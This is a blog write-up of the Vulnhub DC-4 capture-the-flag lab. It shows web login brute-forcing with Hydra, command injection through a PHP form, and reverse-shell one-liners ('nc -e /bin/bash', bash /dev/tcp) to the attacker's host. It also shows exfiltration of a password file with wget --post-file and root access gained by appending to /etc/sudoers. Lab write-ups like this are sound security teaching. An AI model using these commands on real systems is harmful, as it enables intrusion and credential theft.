zacheller@home:~/blog$

Vulnhub - DC: 4


Enumeration

Nmap

root@kali:~/Security/Vulnhub/DC-Series/4# portscan 10.10.10.9
Open ports: 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-02 18:57 EDT
Nmap scan report for bastard.htb (10.10.10.9)
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 08:00:27:C3:42:E2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds

HTTP

Before running any more scanners, let’s check what the site looks like. login

The site is running PHP, so I tried various SQL injections but without luck. Let’s find out more.

Nikto

root@kali:~/Security/Vulnhub/DC-Series/4# nikto -h http://10.10.10.9
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.9
+ Target Hostname:    10.10.10.9
+ Target Port:        80
+ Start Time:         2020-09-02 19:03:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.15.10
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ 7863 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2020-09-02 19:04:10 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Gobuster

root@kali:~/Security/Vulnhub/DC-Series/4# gobuster dir -u http://10.10.10.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.9
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/09/02 19:08:10 Starting gobuster
===============================================================
/index.php (Status: 200)
/images (Status: 301)
/login.php (Status: 302)
/css (Status: 301)
/logout.php (Status: 302)
/command.php (Status: 302)
===============================================================
2020/09/02 19:09:20 Finished
===============================================================

We are redirected to /index.php from /login.php, /logout.php, and /command.php. So far there’s no limit to submitting login credentials and this is a PHP app, so let’s brute-force with Hydra. Normally you provide a success or failure message in a Hydra command, but this form doesn’t provide either. Since command.php appears to be the page we’ll be directed to on a successful login (given the other options), We include “command” as part of the success message (even if it will only be in the filename). We also use “admin” as the username, which seems like a solid first guess (administrator, root, etc to follow if necessary). The form fields in the source code are username and password, so we’ll formulate our command to accomodate.

root@kali:~/Security/Vulnhub/DC-Series/4# hydra -l admin -P /root/rockyou.txt 10.10.10.9 http-post-form '/login.php:username=^USER^&password=^PASS^:S=command'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-02 19:30:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.10.9:80/login.php:username=^USER^&password=^PASS^:S=command
[80][http-post-form] host: 10.10.10.9   login: admin   password: happy
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-02 19:30:51

New creds! admin:happy

Logging in requires double clicking submit for some reason, but I’m just glad Hydra didn’t worry about it.

system tools

Let’s checkout command.php:

system tools

The different radio buttons let us run ls -l, du -h, and df -h. These commands wouldn’t happen to be passed unsanitized would they? Let’s turn on our proxy and open Burp Suite to check.

POST /command.php HTTP/1.1
Host: 10.10.10.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.9/command.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Connection: close
Cookie: PHPSESSID=g2i3eka79h373jmn94bm7qekj3
Upgrade-Insecure-Requests: 1

radio=ls+-l&submit=Run

Uh oh, let’s insert other commands to verify this RCE. I updated the final line to: radio=whoami&submit=Run

whoami

Let’s intercept another request and run some more nefarious commands.

Gaining Access

I tried passing a few commands in to get a shell, including using a URL encoder, e.g. bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.10.6%2F1234+0%3E%261. Turns out, all I needed to do was send this:

POST /command.php HTTP/1.1
Host: 10.10.10.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.9/command.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Connection: close
Cookie: PHPSESSID=g2i3eka79h373jmn94bm7qekj3
Upgrade-Insecure-Requests: 1

radio=nc -e /bin/bash 10.10.10.6 1234&submit=Run

Let’s check our listener.

root@kali:~/Security/Vulnhub/DC-Series/4# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.10.6] from (UNKNOWN) [10.10.10.9] 40722
whoami
www-data
python -c 'import pty; pty.spawn("/bin/sh")' # spawn a TTY shell
$ export TERM=xterm
export TERM=xterm
$ uname -a && uname -m
uname -a && uname -m
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686 GNU/Linux
i686

We’re in–now to escalate.

Escalating Privileges

$ ls /home
ls /home
charles  jim  sam
$ ls -a /home/* -r
ls -a /home/* -r
/home/sam:
.profile  .bashrc  .bash_logout  ..  .

/home/jim:
test.sh  mbox  backups	.profile  .bashrc  .bash_logout  ..  .

/home/charles:
.profile  .bashrc  .bash_logout  ..  .

User jim looks most promising.

$ cd jim
cd jim
$ ls -la test.sh
ls -la test.sh
-rwsrwxrwx 1 jim jim 174 Apr  6  2019 test.sh
$ cat test.sh
cat test.sh
#!/bin/bash
for i in {1..5}
do
 sleep 1
 echo "Learn bash they said."
 sleep 1
 echo "Bash is good they said."
done
 echo "But I'd rather bash my head against a brick wall."
$ ls -a backups
ls -a backups
.  ..  old-passwords.bak
$ file mbox
file mbox
mbox: regular file, no read permission

The script looks promising but so do the list of old passwords. Let’s exfiltrate them and try to SSH into the box as jim.

# Victim
$ wget --post-file=old-passwords.bak 10.10.10.6:8081

# Attacker
root@kali:~/Security/Vulnhub/DC-Series/4# nc -nlvp 8081 > file_with_nc_stuff
listening on [any] 8081 ...
connect to [10.10.10.6] from (UNKNOWN) [10.10.10.9] 54758

root@kali:~/Security/Vulnhub/DC-Series/4# tail -n +10 file_with_nc_stuff > old-passwords.bak

Here we can use metasploit scanner/ssh/ssh_login, but I decided to use hydra’s SSH option.

root@kali:~/Security/Vulnhub/DC-Series/4# hydra -l jim -P old-passwords.bak 10.10.10.9 ssh
...
[22][ssh] host: 10.10.10.9   login: jim   password: jibril04
...
root@kali:~/Security/Vulnhub/DC-Series/4# ssh jim@10.10.10.9
...
You have mail.
Last login: Sun Apr  7 02:23:55 2019 from 192.168.0.100
jim@dc-4:~$

We have mail! First let’s check our home directory’s mbox file which we now have permission to read:

From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
	(envelope-from <root@dc-4>)
	id 1hCiQe-0000gc-EC
	for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

We can read our mail in /var/mail/jim or we can use the mail command:

jim@dc-4:/var/mail$ mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/jim": 1 message 1 unread
>U  1 charles@dc-4       Sat Apr 06 21:15   27/715   Holidays
& more

Message 1:
From charles@dc-4 Sat Apr 06 21:15:46 2019
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

Now in fact, the message is saved to jim’s personal mailbox in /home/jim/mbox. And, we have new credentials: charles:^xHhA&hvim0y

jim@dc-4:~$ su charles
Password: 
charles@dc-4:~$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee
charles@dc-4:~$ ls -l /usr/bin/teehee
-rwxr-xr-x 1 root root 38740 Apr  6  2019 /usr/bin/teehee
charles@dc-4:~$ file /usr/bin/teehee
/usr/bin/teehee: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cc779c5a37fe07a78ea82a246199a7ff4e5c4ad8, stripped

SUID bit is set. Let’s see what it does:

charles@dc-4:~$ teehee
hi
hi
redirect?
redirect?
charles@dc-4:~$ echo a | tee b
a
charles@dc-4:~$ ls
b
charles@dc-4:~$ cat b
a

Seems like tee. Also, tee --help and teehee --help were identical besides the name. We can use sudo teehee to write to any file, so why not add charles to the sudoers file? /etc/sudoers specifies user privileges for root like so: root ALL=(ALL:ALL) ALL.

charles@dc-4:~$ echo "charles  ALL=(ALL:ALL) ALL" | sudo teehee /etc/sudoers
charles  ALL=(ALL:ALL) ALL
charles@dc-4:~$ sudo -l
[sudo] password for charles: # ^xHhA&hvim0y
User charles may run the following commands on dc-4:
    (ALL : ALL) ALL
charles@dc-4:~$ sudo su
root@dc-4:/home/charles# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/home/charles# cd ~
root@dc-4:~# cat flag.txt 



888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

This was a neat challenge; I hope you enjoyed my writeup.